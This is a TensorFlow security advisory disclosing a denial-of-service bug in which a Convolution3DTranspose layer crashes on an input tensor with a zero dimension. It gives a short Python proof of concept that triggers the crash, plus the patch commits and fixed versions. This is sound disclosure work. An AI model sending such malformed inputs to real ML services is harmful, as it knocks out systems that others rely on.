TensorFlow Denial of Service vulnerability

Impact

A malicious invalid input crashes a tensorflow model (Check Failed) and can be used to trigger a denial of service attack. To minimize the bug, we built a simple single-layer TensorFlow model containing a Convolution3DTranspose layer, which works well with expected inputs and can be deployed in real-world systems. However, if we call the model with a malicious input which has a zero dimension, it gives Check Failed failure and crashes.

import tensorflow as tf

class MyModel(tf.keras.Model):
    def __init__(self):
        super().__init__()
        self.conv = tf.keras.layers.Convolution3DTranspose(2, [3,3,3], padding="same")
        
    def call(self, input):
        return self.conv(input)
model = MyModel() # Defines a valid model.

x = tf.random.uniform([1, 32, 32, 32, 3], minval=0, maxval=0, dtype=tf.float32) # This is a valid input.
output = model.predict(x)
print(output.shape) # (1, 32, 32, 32, 2)

x = tf.random.uniform([1, 32, 32, 0, 3], dtype=tf.float32) # This is an invalid input.
output = model(x) # crash

This Convolution3DTranspose layer is a very common API in modern neural networks. The ML models containing such vulnerable components could be deployed in ML applications or as cloud services. This failure could be potentially used to trigger a denial of service attack on ML cloud services.

Patches

We have patched the issue in

• GitHub commit 948fe6369a5711d4b4568ea9bbf6015c6dfb77e2
• GitHub commit 85db5d07db54b853484bfd358c3894d948c36baf.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.